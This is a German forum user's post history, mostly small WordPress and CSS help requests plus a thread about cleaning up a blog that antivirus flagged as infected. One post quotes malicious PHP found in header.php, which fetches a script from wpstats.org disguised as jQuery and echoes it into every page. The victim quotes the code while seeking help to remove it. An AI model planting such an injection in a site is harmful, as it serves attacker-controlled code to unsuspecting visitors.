also eine timthumb.php gibt es nicht, ich hab den kompletten webspace eben platt gemacht und dann mein backup wieder aufgespielt, anschließend habe ich den verweiss entfernt, seltsam ist nur das die Seite auch schon davor wieder ging ^^ Wo jetzt aber wirklich die Sicherheitslücke liegt bleibt ein Fragezeichen. Ich habe nur Wordpress auf die aktuelle Version geupdatet, mein Ftp Programm gewechselt und Passwörter bezüglich des Webspac verändert.
Beiträge von bischiOo
-
-
also ich habe in der header.php und sonst nirgends folgenden verweis gefunden:
<?php if(function_exists('curl_init')) { $url = "http://www.wpstats.org/jquery-1.6.3.min.js"; $ch = curl_init(); $timeout = 5; curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); $data = curl_exec($ch); curl_close($ch); echo "$data"; } ?>
soll ich den kompletten part einfach löschen?
danke dir
-
ok ganz dumme Frage aber wie kann ich mit notepad mehr als eine Datei durchsuchen? Ich hätte alternativ auch den Dreamwaever zur Verfügung.
danke
-
Einen Refresh button gibt es nicht zum erneuten überprüfen. Wie du im nachstehenden Beitrag ja aber sagtest ist die Seite sowieso noch verseucht nur versteh ich das richtig und die versuchte Datei liegt gar nicht bei mir auf dem Webspace sondern auf diese wird einfach nur verwiesen?
Eine Idee wie ich am besten vorgehen könnte um diesen Verweis zu finden? Ohne das ich jede einzelene Datei nach diesem Link durchsuchen zu müssen ?
-
Das wäre alles nicht so tragisch wenn ich die Website nicht aktuell zur Bewerbung benötigen würde, aber is typisch so ne scheisse passiert mir immer ^^
-
hm also ich habe mein gescanntes backup überspielt die Website ist aber nach wie vor gesperrt? Pw wie Ftp Programm wurde gewechselt. Kannst du dir darauf einen Reim machen? Kann es sein das die Seite bei G Data temporär immernoch gesperrt ist?
-
ich habe lokal alle Daten + Datenbank backup lokal liegen, gesichert wurde dies alles gestern noch als alles noch ohne Probleme lief. Ich habe die lokalen Daten mit G Data gescannt, demnach scheint auch alles in Ordnung zu sein. Kann ich nicht meine online Daten durch meine lokalen Daten ersetzten ?
Was meinst du mit bereinigen, kann ich dies mit einem Programm bewerkstelligen oder müsste ich quasi jede Datei inhaltlich mit Originalen nicht infizierten Datein vergleichen und abweichendes löschen?
wie kann sowas überhaupt passieren? grundlegend müsste ich ja die Sicherheitslücke erstmal schließen, das einzigste was mir hierzu einfällt wäre ein infiziertes FTP Programm.
danke
-
und wie werde ich die los?
-
Guten Tag Zusammen,
seit heute morgen kann ich meinen Blog nicht mehr aufrufen da G-Data folgende Meldung bringt:
Prüfung von Web-Inhalten:
Virus: HTML:Script-inf (Engine B)
Virus beim Laden von Web-Inhalten gefunden.
Adresse: fb-designs.de
Status: Der Zugriff wurde verweigert.Firefox sagt mir:
Besitzer: Diese Website stellt keine Informationen über den Besitzer zur Verfügung.
bis gestern Abend war noch alles wunderbar, seitdem habe ich nichts an der Website gemacht als ein backup der Datenbank zu erstellen.
Kann mir irgendjemand sagen was das soll und wie ich mein Problem lösen kann?
die Url der Website lautet http://www.fb-designs.de
danke
-
eine Frage:
wo befindet sich den die page.php ? den ich finde davon gleich mehrere ^^
danke
-
ah ha ha .... ok ... schon logisch das eine Seite mit und ohne Scrollblaken springt... ^^
wenigstens hab ich 40c Fieber als ausrede :P
// CLOSE
-
Guten Tag,
ich habe da ein kleines Problem was mach ich etwas ratlos macht.
Meine Website (http://www.fb-designs.de) springt plötzlich wenn ich zb zwischen den Navipunkten PROFIL und SKILLS wechsel um ein paar Pixel nach rechts, andererseits springt sie zwischen PROFIL und PORTFOLIO wiederum nicht. Ich versteh einfach nicht wieso er das macht und ich wüsste auch nicht wie ich das ausgelöst habe ^^Über Hilfe wäre ich sehr dankbar
mfg F.B. -
ok ich denke ich weiß wie du meinst, werde das montag mal teste. zu deiner frage ich habe das logo durch ein hintergrundbild inkl logo ersetzt und das dann mit negativem margin hingefuscht XD
danke für deine hilfe
-
na muss ich mal schauen ob es diesen eintrag dort gibt bin nur 2 tage unterwegs. warum ich eine div um das logo legen will? da ich hinter dem logo ein hg bild einfügen mòchte, momentan ist es pfusch da logo und hintergrund ein und dad selbe ist. deswegen liegt auf dem kompletten header der link auf die startseite.. pfusch eben ^^
danke
-
was natürlich noch bessere wäre wenn mir jemand sagen könnte: wie ich eine div um das logo legen kann? muss das in der geposteten header.php gemacht werden und wenn ja wie?
vielen dank
-
Guten Morgen Zusammen,
ich hab da ein kleines problem, vermutlich an Hand mangelnder Php Kenntnisse, ganz kurz:
Ich habe das Bild des Logos (links oben) als Hintergrundbild mißbraucht, funktioniert ja toll wenn man es erstmal mit z-index positioniert hat, das Problem ist nur das jetzt quasi mein ganzer Header auf die Startseite verlinkt.
Ich dachte nicht das ich ein Problem damit haben werde diesen a tag zu entfernen, in der entsprechenden Datei war ich dann aber doch etwas verwirrt:
Kann mir jemand sagen wo ich hier den a tag entfernen kann, oder ist diese verlinkung hier gar nicht gesetzt ? danke
Quellcode bei der Aussgabe des Logos: (dieser wird aber genereriert nehme ich an?)
<div id="header" class="fluid">
<div class="container_12 clearfix">
<div id="logo" class="grid_3">
<a href="link">
<h1><img src="img/logo/logo_bg_16.png" alt="FB-Designs.de"> </h1>
</a>
</div>Hier vermute ich die Lösung "header.php"
[COLOR=#ff0000]http://fb-designs.de/header.txt[/COLOR][COLOR=#ff0000][/COLOR] -
wie jetzt werd ich auch noch dazu verleitet google zu nutzen? direkte kommunikation ist doch viel schöner, höchstens ab und an etwas nervig :grin:
Interessant, jetzt würde mich nur interessieren ob sich die kürzel mal geändert haben, den vor ein paar jahren war f5 und strg+r ein gewaltiger unterschied... aber naja auch nich wichtig, jetzt weiß ich ja das es nicht mehr klappt ^^
danke
-
bzw. ich refreshe mit strg + r soweit ich weiß wird dabei doch der cash der seite gekillt oder wo liegt da der unterschied zu F5 ?
-
oh uuuuups xD danke dir :-D
-
also das Bild wird jetzt angezeigt, entweder war es der Chache von Gavatar oder es hängt damit zusammen das ich gerade die Avatare Einstufung in WP eins höher gesetzt habe. Ergibt aber eigentlich keinen Sinn da ich in Gavatar für jede Einstufung ein Bild erstellt hab.
// CLOSE